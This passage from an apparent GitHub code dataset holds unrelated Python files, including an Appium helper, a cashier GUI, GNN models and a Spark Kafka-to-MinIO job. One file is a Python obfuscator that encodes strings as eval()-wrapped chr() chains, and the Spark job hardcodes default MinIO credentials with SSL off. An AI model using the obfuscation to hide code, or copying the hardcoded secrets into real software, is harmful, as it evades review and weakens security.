in files:\n print(conversion_name + \" converting: \" + str(file))\n FNULL = open(os.devnull, 'w')\n subprocess.call(conversion_function(file), stdout=FNULL, stderr=FNULL, shell=False)\n\n\n\nfiles = get_png_files()\nproccess_files(\"pngquant\", pngquant_args, files)\nproccess_files(\"optipng\", optipng_args, files)\nproccess_files(\"pvrtextool\", pvrtextool_args, files)\nwrite_files_to_processed(files)\n\nprint(\"\")\nprint(\"Done!\")\ng = input(\"Press ENTER to continue...\")\n","repo_name":"bbecker4/Deep-Space","sub_path":"PNGQUANT/Convert.py","file_name":"Convert.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"25165973034","text":"# coding=utf-8\n\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom common.logs import log\nimport os\nimport time\n\nlog = log()\n\n# 基础操作:返回、上下左右滑动屏幕、截图、获取element信息\nclass BaseOperate:\n def __init__(self, driver):\n self.driver = driver\n\n # Android 点击物理返回键\n def back(self):\n os.popen(\"adb shell input keyevent 4\")\n\n # 获取屏幕大小\n def get_window_size(self):\n global windowSize\n windowSize = WebDriverWait(self.driver, 10).until(lambda x: x.get_window_size())\n self.driver.implicitly_wait(2)\n return windowSize\n\n # 向上滑动\n def swipeUp(self):\n windowsSize = self.get_window_size()\n width = windowsSize.get(\"width\")\n height = windowsSize.get(\"height\")\n self.driver.swipe(width/2, height*3/4, width/2, height/4, 1000)\n\n # 向下滑动\n def swipeDown(self):\n windowsSize = self.get_window_size()\n width = windowsSize.get(\"width\")\n height = windowsSize.get(\"height\")\n self.driver.swipe(width/2, height/4, width/2, height*3/4, 1000)\n\n # 向左滑动\n def swipeLeft(self):\n windowsSize = self.get_window_size()\n width = windowsSize.get(\"width\")\n height = windowsSize.get(\"height\")\n self.driver.swipe(width*3/4, height/2, width/20, height/2, 1000)\n\n # 向右滑动\n def swipeRight(self):\n windowsSize = self.get_window_size()\n width = windowsSize.get(\"width\")\n height = windowsSize.get(\"height\")\n self.driver.swipe(width/20, height/2, width*3/4, height/2, 1000)\n\n # 截图\n def screenshot(self):\n # 获取当前时间\n now = time.strftime(\"%Y%m%d.%H.%M.%S\")\n # 将图片保存到指定目录下,并用时间命名\n # self.driver.get_screenshot_as_file('D:\\\\Study-Appium\\\\screenshot\\\\' + now + '.png')\n self.driver.get_screenshot_as_file('/Users/xintudoutest/github/Appium/screenshot/' + now + '.png')\n print('screenshot:', now, '.png')\n\n # 定位页面text元素,param:name\n def get_name(self, name):\n findname = \"//*[@text='%s']\"%(name)\n try:\n element = WebDriverWait(self.driver, 10).until(lambda x: x.find_element_by_xpath(findname))\n self.driver.implicitly_wait(2)\n return element\n except:\n log.error('未定位到元素:'+'%s'%(name))\n self.screenshot()\n\n # 定位页面resouce id元素,param:id\n def get_id(self, id):\n try:\n element = WebDriverWait(self.driver, 10).until(lambda x: x.find_element_by_id(id))\n self.driver.implicitly_wait(2)\n return element\n except:\n log.error('未定位到元素:'+'%s'%(id))\n self.screenshot()\n\n # 定位页面xpath元素,param:xpath\n def get_xpath(self, xpath):\n try:\n element = WebDriverWait(self.driver, 10).until(lambda x: x.find_element_by_xpath(xpath))\n self.driver.implicitly_wait(2)\n return element\n except:\n log.error('未定位到元素:'+'%s'%(xpath))\n self.screenshot()\n\n # 定位页面resouce id元素组,param:id,return:元素列表\n def get_ids(self, id):\n try:\n elements = WebDriverWait(self.driver, 10).until(lambda x: x.find_elements_by_id(id))\n self.driver.implicitly_wait(2)\n return elements\n except:\n log.error('未定位到元素:'+'%s'%(id))\n self.screenshot()\n\n # 返回到指定页面,不兼容Android7.0系统\n def backpage(self, name):\n i = 0\n while i < 10:\n i = i + 1\n try:\n findname = \"//*[@text='%s']\" % (name)\n self.driver.find_element_by_xpath(findname)\n self.driver.implicitly_wait(2)\n break\n except:\n os.popen(\"adb shell input keyevent 4\")\n try:\n findname = \"//*[@text='首页']\"\n self.driver.find_element_by_xpath(findname).click()\n self.driver.implicitly_wait(2)\n except:\n os.popen(\"adb shell input keyevent 4\")","repo_name":"yangjourney/App-UITest","sub_path":"common/baseOperate.py","file_name":"baseOperate.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"40833533719","text":"import os\nimport json\nimport facebook\n\ndef main():\n token = os.getenv('face_page_token')\n graph = facebook.GraphAPI(token)\n\n fields = ['id, name, posts']\n profile = graph.get_object('me', fields=fields)\n\n print(json.dumps(profile, indent=4))\n\nif __name__ == '__main__':\n main()","repo_name":"michael-basweti/nmg-social","sub_path":"facePage.py","file_name":"facePage.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"34047793515","text":"import tkinter\r\nfrom tkinter.constants import BOTH, TOP, LEFT, RIGHT, INSERT\r\nfrom unittest.mock import right\r\nfrom tkinter import Text\r\nchangeAmount = {\r\n \"twentyDollars\" : 0,\r\n \"tenDollars\" : 0,\r\n \"fiveDollars\" : 0,\r\n \"oneDollars\" : 0,\r\n \"quarters\" : 0,\r\n \"dimes\" : 0,\r\n \"nickels\" : 0,\r\n \"pennies\" : 0\r\n}\r\n\r\nchangeValues = {\r\n 2000 :\"twentyDollars\",\r\n 1000 :\"tenDollars\",\r\n 500 :\"fiveDollars\",\r\n 100 :\"oneDollars\",\r\n 25 : \"quarters\",\r\n 10 : \"dimes\",\r\n 5 : \"nickels\",\r\n 1 : \"pennies\", \r\n }\r\nwindow = tkinter.Tk()\r\ngreeting = tkinter.Label(text=\"Cashier's Algorithm\", background = \"red\", foreground = \"black\")\r\n\r\n\r\ngreeting.pack()\r\ntot = tkinter.StringVar(window)\r\ntotLabel = tkinter.Label(text=\"Enter total:\")\r\n\r\ntotalEntry = tkinter.Entry(window)\r\namtLabel = tkinter.Label(text=\"Enter amount given:\")\r\namountEntry = tkinter.Entry(window)\r\n\r\ndef getChangeAmount():\r\n total = totalEntry.get()\r\n if \"$\" in total:\r\n total = total.replace(\"$\", \"\")\r\n total = int(float(total) * 100)\r\n \r\n amount = amountEntry.get()\r\n if \"$\" in amount:\r\n amount = amount.replace(\"$\", \"\")\r\n amount = int(float(amount) * 100)\r\n change = int(amount - total)\r\n \r\n getChange(change)\r\nresult = Text(window)\r\n\r\ndef getChange(change):\r\n a = tkinter.Label()\r\n if (change == 0):\r\n a.destroy()\r\n for key, value in changeAmount.items():\r\n a = tkinter.Label(text = \"{} : {}\".format(key, value))\r\n a.pack()\r\n \r\n for key, value in changeAmount.items():\r\n changeAmount[key] = 0\r\n return\r\n for key in changeValues.keys():\r\n if (change >= key):\r\n \r\n changeAmount[changeValues[key]] += 1\r\n change -= key\r\n break\r\n getChange(change)\r\n \r\n\r\nsubmit = tkinter.Button(window, text = \"submit\", command = getChangeAmount)\r\ntotLabel.pack() \r\ntotalEntry.pack()\r\namtLabel.pack()\r\namountEntry.pack()\r\nsubmit.pack()\r\n\r\n\r\nwindow.mainloop()\r\n\r\n\r\n","repo_name":"CThax12/Discrete-Structures","sub_path":"Exams/Exam2/CashierwithGUI.py","file_name":"CashierwithGUI.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"11975676397","text":"from numpy import *\nfrom scipy import *\nfrom pylab import *\nfrom matplotlib import *\nimport matplotlib.cm as cm\ndef print_aligned(w,normalize=True):\n n1 = int(ceil(sqrt(shape(w)[1])))\n n2 = n1\n r1 = int(sqrt(shape(w)[0]))\n r2 = r1\n Z = zeros(((r1+1)*n1, (r1+1)*n2), 'd')\n i1, i2 = 0, 0\n for i1 in range(n1):\n for i2 in range(n2):\n i = i1*n2+i2\n if i>=shape(w)[1]: break\n if (normalize):\n Z[(r1+1)*i1:(r1+1)*(i1+1)-1, (r2+1)*i2:(r2+1)*(i2+1)-1] = fix(w[:,i].reshape(r1,r2))\n else:\n Z[(r1+1)*i1:(r1+1)*(i1+1)-1, (r2+1)*i2:(r2+1)*(i2+1)-1] = w[:,i].reshape(r1,r2)\n imshow(Z,cmap=cm.gray,interpolation='nearest')\n return Z\ndef fix(X):\n Y = X - X.min()\n Y /= Y.max()\n return Y\n\ndef show_single(X):\n imshow(fix(X.reshape(3,10,10).transpose([1,2,0])),\ninterpolation='nearest')\n\ndef print_aligned_color(w,normalize=False):\n s = w.shape[0] / 3\n ss = int(sqrt(s))\n w1 = w[0:s,:]\n w2 = w[s:2*s,:]\n w3 = w[2*s:,:]\n show_batch(w1,w2,w3,normalize=normalize)\n\ndef show_batch(X1,X2,X3,normalize=False):\n Z1 = print_aligned(X1,normalize=normalize)\n Z2 = print_aligned(X2,normalize=normalize)\n Z3 = print_aligned(X3,normalize=normalize)\n\n img = array([Z1,Z2,Z3]).transpose([1, 2, 0])\n\n imshow(fix(img), interpolation='nearest')","repo_name":"kswersky/CaRBM","sub_path":"display_filters.py","file_name":"display_filters.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"39"} +{"seq_id":"38332194330","text":"import random\n\ndef addEval(text: str, doEval = True) -> str:\n return f\"eval({text})\" if doEval else text\n\nclass StringManipulators:\n def string_to_decimal(self, text: str) -> list[int]:\n return list(map(ord, text))\n\n def decimal_to_chrs(self, array: list, intWrap = False, evaluate = True) -> str:\n '''\n Wraps each element of array in `chr()` and concatenates them.\n `evaluate` : Wrap in `eval()` (default True)\n\n Example: `[101, 102]` -> `eval(chr(101)+chr(102))`\n '''\n if intWrap:\n return addEval(f'chr(int({\"))+chr(int(\".join(map(str, array))}))', evaluate)\n else:\n return addEval(f'chr({\")+chr(\".join(map(str, array))})', evaluate)\n\n def string_to_chrs(self, text: str, evaluate = True) -> str:\n '''\n Converts strings to their decimal equivalent, wrapped in `chr()` and concatenated.\n `evaluate` : Wrap in `eval()` (default True)\n\n Example: `Hello` -> `eval(chr(72)+chr(101)+chr(108)+chr(108)+chr(111))`\n '''\n return addEval(self.decimal_to_chrs(list(map(ord, text)), evaluate=False), evaluate)\n\nclass NumberManipulators:\n def int_addition(self, num: int, evaluate = True) -> str:\n '''\n Self explanatory look at the example\n `evaluate` : Wrap in `eval()` (default True)\n\n Example: `10` -> `eval(1+1+1+1+1+1+1+1+1+1)`\n '''\n return addEval(\"+\".join([\"1\"] * num), evaluate)\n\nclass FormatManipulators:\n def format_to_string(self, array: list|tuple, percentLetters=[\"c\"],doubleQuotes = False, removeQuotes = False,evaluate = True) -> str:\n '''\n Takes in an iterable, and formats into string, concatenated\n `percentLetters` : Letters to use in format string ['s', 'c']\n `evaluate` : Wrap in `eval()` (default True)\n\n Example: `[\"A\",\"B\",1,2,3]` -> `'%s%s%s%s%s'%('A', 'B', 1, 2, 3)`\n '''\n assert ('s' in percentLetters or 'c' in percentLetters), \"Invalid percent letter. Must any of these ['s', 'd']\"\n \n quotes = '\"' if doubleQuotes else \"'\"\n return addEval(f'''{quotes}{\"\".join([f\"%{random.choice(percentLetters)}\" for i in range(len(array))])}{quotes}%{str(tuple(array)).replace(\"'\", \"\") if removeQuotes else str(tuple(array))}''', evaluate) # wtf is this 1 liner\n\n def format_to_number(self, number: int, primitives=[\"bool\", \"comparison\", \"number\"], doubleQuotes = False, nesting = True, percentLetters = ['s', 'd'], evaluate = True):\n '''\n Returns a format string that evaluates to the number.\n `primitives` : List of primitives to use to construct. valid are [\"bool\", \"comparison\", \"number\"]. Will be used randomly\n `percentLetters` : Letters to use in format string ['s', 'd']\n `evaluate` : Wrap in `eval()` (default True)\n\n Example:\n '''\n assert len(primitives) >= 1, 'You must choose at least 1 primitive. Valid include [\"bool\", \"comparison\", \"number\"]'\n assert ('s' in percentLetters or 'd' in percentLetters), \"Invalid percent letter. Must any of these ['s', 'd']\"\n assert type(number) == int, 'Specified number must be an integar'\n\n quotes = '\"' if doubleQuotes else \"'\"\n\n isNegative = number != abs(number)\n number = abs(number)\n if nesting:\n payloadList = []\n for digit in str(number):\n # Construct single digit\n prim = random.choice(primitives)\n if prim == \"number\":\n zero = 0\n else:\n zero = \"-(1==0)\" if prim == \"comparison\" else \"-False\"\n payloadList.append(f\"{'-~'*int(digit)}{zero}\")\n\n if isNegative:\n payloadList[0] = \"-\" + payloadList[0]\n \n # amazing one-liner very readable good coding\n return addEval(f'''{quotes}{\"\".join([f'%{random.choice(percentLetters)}' for _ in range(len(payloadList))])}{quotes}%{str(tuple(payloadList)).replace(\"'\",\"\")}''', evaluate)\n else:\n prim = random.choice(primitives)\n if prim == \"number\":\n zero = 0\n else:\n zero = \"-(1==0)\" if prim == \"comparison\" else \"-False\"\n if evaluate:\n return addEval(f'''{quotes}{'-' if isNegative else ''}{'-~'*int(number)}{zero}{quotes}''', evaluate)\n else:\n return f'''{'-' if isNegative else ''}{'-~'*int(number)}{zero}'''\n","repo_name":"TheSavageTeddy/python-custom-obfuscator","sub_path":"obfuscators/encoders.py","file_name":"encoders.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"9438664831","text":"# -*- coding: utf-8 -*-\n\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('categories', '0007_categorytemplate_use_create_form'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='categorytemplate',\n old_name='use_create_form',\n new_name='use_creation_form',\n ),\n ]\n","repo_name":"Talengi/phase","sub_path":"src/categories/migrations/0008_auto_20151127_1124.py","file_name":"0008_auto_20151127_1124.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"39"} +{"seq_id":"29345929131","text":"import os\n\nimport torch\nfrom torch_geometric.data import InMemoryDataset\nfrom torch_geometric.datasets import Planetoid\nfrom torch_geometric.utils import degree\n\nfrom graph_attention_networks.gat_networks import GAT\nfrom graph_conv_networks.gcn_networks import GCN\nfrom graph_u_networks.graph_u_networks import GraphUNet\nfrom pna_graph_networks.pna_networks import PNA\n\n\ndef get_model(model_name: str):\n if model_name == \"GCN\":\n return GCN\n elif model_name == \"GAT\":\n return GAT\n elif model_name == \"GraphUNet\":\n return GraphUNet\n elif model_name == \"PNA\":\n return PNA\n else:\n raise NotImplementedError(f\"No graph network with name '{model_name}' implemented!\")\n\n\ndef get_dataset(dataset_name):\n if dataset_name == \"Planetoid\":\n return Planetoid(root=os.path.join(\"datasets\", \"Cora\"), name=\"Cora\")\n else:\n raise NotImplementedError(f\"No dataset with name '{dataset_name}' available!\")\n\n\ndef compute_in_degree_histogram(dataset: InMemoryDataset) -> torch.Tensor:\n degree_histogram = None\n for data in dataset:\n in_degrees = degree(data.edge_index[1], num_nodes=data.num_nodes, dtype=torch.long)\n max_in_degree = torch.max(in_degrees).item()\n degree_histogram = torch.bincount(in_degrees, minlength=max_in_degree + 1)\n\n return degree_histogram\n","repo_name":"juliusrueckin/gnn_implementations","sub_path":"graph_network_wrappers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"70518560114","text":"#python -m pip install pandas\n#python -m pip install openpyxl\n\nimport pandas as pd\n\n# read the Excel spreadsheet into a DataFrame\ndf = pd.read_excel('qp-java-restarts.xlsx')\n\n# read the contents of the text file into a list\nwith open('213.txt', 'r') as file:\n txt_contents = [line.strip() for line in file.readlines()]\n\n# compare the two lists and print any differences\nfor index, row in df.iterrows():\n cell_contents = row['School'] # replace 'Column1' with the name of the column you want to compare\n if cell_contents not in txt_contents:\n print(f\"{cell_contents} not found in text file\")","repo_name":"counterjmb/AutomateTheBoringStuff","sub_path":"ExcelTextCompare.py","file_name":"ExcelTextCompare.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"10483334496","text":"def validBraces(string):\n stack=[]\n app=stack.append\n pop=stack.pop\n open_braces='([{'\n closing_braces='}])'\n brace_map={'}':'{', ']':'[', ')':'('}\n for c in string:\n if c in open_braces:\n app(c)\n if c in closing_braces:\n if not stack:\n return False\n if not brace_map[c] == pop():\n return False\n return True if not stack else False","repo_name":"sgerodes/ProgrammingChallenges","sub_path":"Codewars/python/Valid Braces.py","file_name":"Valid Braces.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"14051705484","text":"'''\nCreated on 30-Jan-2019\n\n@author: SureshBabu\n'''\n\nfrom bs4 import BeautifulSoup as soup\nfrom getMyURLContent import getMyURLContent;\n\n\ndef main():\n pageLink = \"https://bloks.io/account/eosknightsio\";\n folderPath = \"C:\\\\My_Folder\\\\Eclipse_Neon\\\\Workspace\\\\bloks_data\\\\src\\\\\";\n \n htmlData = getMyURLContent(pageLink, \"ui selectable very basic stackable table\");\n htmlContent = soup(htmlData, \"html.parser\");\n f = open(\"blocks.csv\",\"w\");\n f.write(\"Names\\r\\n\");\n \n for outerTag in htmlContent.findAll(\"table\", {\"class\" : \"ui selectable very basic stackable table\"}):\n for personTags in outerTag.findChildren(\"td\", {\"class\" : \"special-td-3\"}):\n #print(personTags);\n for nameTags in personTags.findChild(\"a\"):\n print(nameTags.string);\n f.write(str(nameTags.string).strip() + \"\\r\\n\");\n for idTags in personTags.findChild(\"div\"):\n for bTags in idTags.findChild(\"b\"):\n print(bTags);\n f.close();\n \n \n \n\nif __name__ == '__main__':\n main();\n \n \n \n ","repo_name":"webdev-828/webscrap-python","sub_path":"bloks_data(only users).py","file_name":"bloks_data(only users).py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"70149863155","text":"from __future__ import absolute_import\nimport torch.nn as nn\nfrom models.gsnet_gcn_conv import GSNetGraphConv\nfrom models.graph_non_local import GraphNonLocal\nfrom nets.non_local_embedded_gaussian import NONLocalBlock2D\n\n\nclass GraphConvBlockI(nn.Module):\n def __init__(self, adj, input_dim, output_dim, beta, p_dropout=None):\n super(GraphConvBlockI, self).__init__()\n\n self.gconv = GSNetGraphConv(input_dim, output_dim, adj, beta)\n self.ln = nn.LayerNorm(output_dim)\n\n if p_dropout is not None:\n self.dropout = nn.Dropout(p_dropout)\n else:\n self.dropout = None\n\n def forward(self, x, x0):\n x = self.gconv(x, x0)\n x = self.ln(x)\n \n if self.dropout is not None:\n x = self.dropout(x)\n\n return x\n\n\nclass GraphConvBlockII(nn.Module):\n def __init__(self, adj, input_dim, output_dim, beta, p_dropout=None):\n super(GraphConvBlockII, self).__init__()\n\n self.gconv = GSNetGraphConv(input_dim, output_dim, adj, beta)\n self.act = nn.GELU()\n\n if p_dropout is not None:\n self.dropout = nn.Dropout(p_dropout)\n else:\n self.dropout = None\n\n def forward(self, x, x0):\n x = self.gconv(x, x0)\n\n if self.dropout is not None:\n x = self.dropout(self.act(x))\n \n x = self.act(x)\n \n return x\n\n\nclass ResGraphConv(nn.Module):\n def __init__(self, adj, input_dim, output_dim, hid_dim, beta, p_dropout):\n super(ResGraphConv, self).__init__()\n\n self.gconv1 = GraphConvBlockI(adj, input_dim, hid_dim, beta, p_dropout)\n self.gconv2 = GraphConvBlockII(adj, hid_dim, output_dim, beta, p_dropout)\n\n def forward(self, x):\n residual = x\n out = self.gconv1(x, residual)\n out = self.gconv2(out, residual)\n return residual + out\n\n\nclass GraphNonLocal(nn.Module):\n def __init__(self, hid_dim, grouped_order, restored_order, group_size):\n super(GraphNonLocal, self).__init__()\n\n self.non_local = GraphNonLocal(hid_dim, sub_sample=group_size)\n self.grouped_order = grouped_order\n self.restored_order = restored_order\n\n def forward(self, x):\n out = x[:, self.grouped_order, :]\n out = self.non_local(out.transpose(1, 2)).transpose(1, 2)\n out = out[:, self.restored_order, :]\n return out\n\n\nclass GSNetGCN(nn.Module):\n def __init__(self, adj, hid_dim, beta, coords_dim=(2, 3), num_layers=4, p_dropout=None):\n super(GSNetGCN, self).__init__()\n\n self.gconv_input = GraphConvBlockII(adj, coords_dim[0], hid_dim, beta, p_dropout=p_dropout)\n\n _gconv_layers = []\n\n for i in range(num_layers):\n _gconv_layers.append(ResGraphConv(adj, hid_dim, hid_dim, hid_dim, beta, p_dropout=p_dropout))\n\n self.gconv_layers = nn.Sequential(*_gconv_layers)\n self.gconv_output = GSNetGraphConv(hid_dim, coords_dim[1], adj, beta) \n self.non_local = NONLocalBlock2D(in_channels=hid_dim, sub_sample=False)\n\n def forward(self, x):\n x = x.squeeze() \n x = x.permute(0,2,1)\n out = self.gconv_input(x, x)\n x_out = out\n out = self.gconv_layers(out)\n out = out.unsqueeze(2)\n out = out.permute(0,3,2,1)\n out = self.non_local(out)\n out = out.permute(0,3,1,2)\n out = out.squeeze()\n out = self.gconv_output(out, x_out)\n out = out.permute(0,2,1)\n out = out.unsqueeze(2)\n out = out.unsqueeze(4)\n \n return out\n","repo_name":"zaedulislam/GS-Net","sub_path":"models/gsnet_gcn.py","file_name":"gsnet_gcn.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"16623509666","text":"#https://github.com/ThulasitharanGT/KafkaGradleTest/blob/a89fc57dedf4b6fb75d5595205dc4c7caa2e6f4a/commandsAndDDL.txt\n#https://github.com/apnmrv/otus-de-2019-08-public/blob/36c6320b1b5e03a4ea197fe14c85ce8326264320/09_25_wikiflow/consumer/Dockerfile-structured\n#--packages org.apache.spark:spark-sql-kafka-0-10_2.12:3.1.1,org.apache.spark:spark-streaming-kafka-0-10_\n# wget http://maven.org/maven2/org/apache/spark/spark-sql-kafka-0-10_2.12/3.1.1/spark-sql-kafka-0-10_2.12-3.1.1.jar\n# https://github.com/bitnami/bitnami-docker-spark\n#spark-submit --packages org.apache.spark:spark-sql-kafka-0-10_2.12:3.1.1,org.apache.kafka:kafka-clients:2.7.0,org.apache.hadoop:hadoop-aws:3.2.0 --master spark://spark-master-svc:7077 --conf spark.jars.ivy=/opt/bitnami/spark/jars /tmp/test.py\n#helm install spark -n ddt-compute bitnami/spark --set image.repository=qxmips/spark --set image.tag=3.1.1 --set image.pullPolicy=Always\nfrom os.path import expanduser, join, abspath\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import from_json, to_timestamp, col, expr\nfrom pyspark.sql.types import StructType, StructField, StringType\nimport time\n\n# config(\"spark.hadoop.fs.s3a.access.key\", os.environ.get('AWS_KEY_ID')).\\\n# config(\"spark.hadoop.fs.s3a.secret.key\", os.environ.get('AWS_SECRET')).\\\n\nspark = SparkSession.builder.config(\"spark.jars.ivy\", \"/opt/bitnami/spark/jars\").appName(\"stage_1\").getOrCreate()\n\n#https://gist.github.com/tobilg/e03dbc474ba976b9f235\n#https://github.com/spartonia/HemnetProject/blob/42a7f008f9a91838392cc877e7b553447e3d6b1a/dags/hemnet_daily_forsale_workflow.py\n#https://github.com/SureshBoddu-DataEng/Spark-Streaming-Examples/blob/bc9ab16e739ce9de093d641be0016850d289792b/com/dsm/kafka/append_mode_demo.py\n#--packages org.apache.hadoop:hadoop-aws:3.2.0\nhadoop_conf = spark.sparkContext._jsc.hadoopConfiguration()\nhadoop_conf.set(\"fs.s3a.access.key\", \"minio\")\nhadoop_conf.set(\"fs.s3a.secret.key\", \"minio123\")\nhadoop_conf.set(\"fs.s3a.endpoint\", \"http://minio.ddt-persistence.svc.cluster.local\")\nhadoop_conf.set(\"fs.s3a.connection.ssl.enabled\", \"false\")\nhadoop_conf.set(\"fs.s3a.path.style.access\", \"true\")\noutput_path = \"s3a://spark/output.parquet\"\ncheckpoint_path=\"s3a://spark/checkpoint\"\n\n#print(\"Creating static df\")\n#static_spark_reader = spark.read.format(\"kafka\").option(\"kafka.bootstrap.servers\", \"kafka-cluster-kafka-bootstrap.ddt-persistence.svc.cluster.local:9092\").option(\"subscribe\", \"ddt\").option(\"startingOffsets\", \"earliest\").load()\n#static_spark_reader.selectExpr(\"CAST(key AS STRING)\", \"CAST(value AS STRING)\").write.format(\"parquet\").mode(\"Overwrite\").save(output_path)\n\nschema = StructType([\n StructField(\"@metadata\", StringType()),\n StructField(\"@timestamp\", StringType()),\n StructField(\"name\", StringType()),\n StructField(\"payload\", StringType()),\n StructField(\"well_id\", StringType())\n ])\n\n\n\nprint(\"Creating static df\")\nstatic_spark_reader = spark.read.format(\"kafka\").option(\"kafka.bootstrap.servers\", \"kafka-cluster-kafka-bootstrap.ddt-persistence.svc.cluster.local:9092\").option(\"subscribe\", \"ddt\").option(\"startingOffsets\", \"earliest\").load()\n#static_spark_reader.selectExpr(\"CAST(key AS STRING)\", \"CAST(value AS STRING)\").write.format(\"parquet\").mode(\"Overwrite\").save(output_path)\nstatic_spark_reader.selectExpr(\"CAST(key AS STRING) as key\", \"CAST(value AS STRING) as value\")\\\n .select(from_json(col(\"value\").cast(\"string\"), schema).alias(\"value\"))\\\n .write.format(\"parquet\")\\\n .mode(\"append\")\\\n .option(\"checkpointLocation\", checkpoint_path)\\\n .option(\"path\", output_path)\\\n .save()\n\n\"\"\"\nspark.readStream.format(\"kafka\")\\\n .option(\"kafka.bootstrap.servers\", \"kafka-cluster-kafka-bootstrap.ddt-persistence.svc.cluster.local:9092\")\\\n .option(\"subscribe\", \"ddt\").option(\"startingOffsets\", \"latest\")\\\n .load()\\\n .selectExpr(\"CAST(key AS STRING) as key\", \"CAST(value AS STRING) as value\")\\\n .select(from_json(col(\"value\").cast(\"string\"), schema).alias(\"value\"))\\\n .writeStream.format(\"parquet\")\\\n .outputMode(\"append\")\\\n .option(\"path\", output_path)\\\n .option(\"checkpointLocation\", checkpoint_path)\\\n .trigger(processingTime='5 seconds')\\\n .start().awaitTermination(60)\n\"\"\"\n\n\"\"\"\nprint(\"Creating spark stream df\")\nstream_spark_reader = spark.readStream.format(\"kafka\").option(\"kafka.bootstrap.servers\", \"kafka-cluster-kafka-bootstrap.ddt-persistence.svc.cluster.local:9092\").option(\"subscribe\", \"ddt\").option(\"startingOffsets\", \"latest\").load()\nvalue_df = stream_spark_reader.selectExpr(\"CAST(key AS STRING) as key\", \"CAST(value AS STRING) as value\").select(from_json(col(\"value\").cast(\"string\"), schema).alias(\"value\"))\nvalue_df.printSchema()\n#output = value_df.writeStream.format(\"console\").option(\"truncate\",\"false\").outputMode(\"append\").trigger(processingTime=\"5 seconds\").start()\noutput = value_df.writeStream.format(\"parquet\").outputMode(\"append\").option(\"path\", output_path).option(\"checkpointLocation\", checkpoint_path).trigger(processingTime='1 second').start()\noutput.awaitTermination(60)\n\"\"\"\n#spark-kafka-relation-ec8e8bed-75f0-4d07-8f9b-9b01f22ab085-driver-0\n# client.id = consumer-spark-kafka-relation-ec8e8bed-75f0-4d07-8f9b-9b01f22ab085-driver-0-1\nspark.stop()\n\n#pyspark --packages com.amazonaws:aws-java-sdk-pom:1.11.760,org.apache.hadoop:hadoop-aws:2.7.0 --conf spark.hadoop.fs.s3a.endpoint=s3.us-west-2.amazonaws.com\n\n#spark-submit --master k8s://https://1A9929C211F4DAE49AF8DCE09642559D.gr7.us-west-1.eks.amazonaws.com --conf spark.jars.ivy=/tmp --conf spark.executor.instances=3 --conf spark.kubernetes.authenticate.driver.serviceAccountName=spark --conf spark.kubernetes.container.image=qxmips/spark-py:3.1.1 --conf spark.kubernetes.namespace=ddt-compute --conf spark.kubernetes.container.image.pullPolicy=Always --conf spark.kubernetes.namespace=ddt-compute --packages org.apache.spark:spark-sql-kafka-0-10_2.12:3.1.1,org.apache.kafka:kafka-clients:2.7.0,org.apache.hadoop:hadoop-aws:3.1.1 --name stage_1 --queue root.default --deploy-mode cluster local:///opt/spark/work-dir/from_kafka_to_minio_streaming.py ","repo_name":"qxmips/test-dags","sub_path":"from_kafka_to_minio_static.py","file_name":"from_kafka_to_minio_static.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"43010228076","text":"import cv2\r\nimport imutils\r\nimport numpy as np\r\n\r\n# Read Image\r\nimg = cv2.imread(\"img.jpg\")\r\n\r\n# Convert image to HSV\r\nhsv = cv2.cvtColor(img , cv2.COLOR_BGR2HSV)\r\n\r\n# Define Limits\r\nlower = np.array([50,100,100])\r\nupper = np.array([70,255,255])\r\n\r\n# Mask\r\nmask = cv2.inRange(hsv , lower , upper)\r\n\r\noutput = cv2.bitwise_and(img, img , mask , mask)\r\ncv2.imshow('Images' , output)\r\ncv2.waitKey(0)","repo_name":"MrBogdanYT/learnpy","sub_path":"green_mask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"27179569913","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\ndef temporaldifference(feature):\n # (bs, seq, hidden)\n feature_rpad = F.pad(feature.permute(0, 2, 1), (0, 1)) # (bs, hidden, seq + 1)\n feature_lpad = F.pad(feature.permute(0, 2, 1), (1, 0)) # (bs, hidden, seq + 1)\n feature_rpad[:, :, -1] = feature.permute(0, 2, 1)[:, :, -1]\n feature_lpad[:, :, 0] = feature.permute(0, 2, 1)[:, :, 0]\n td_1 = feature_rpad[:, :, 1:] - feature.permute(0, 2, 1) # (bs, hidden, seq)\n td_2 = feature_lpad[:, :, :-1] - feature.permute(0, 2, 1) # (bs, hidden, seq)\n td = 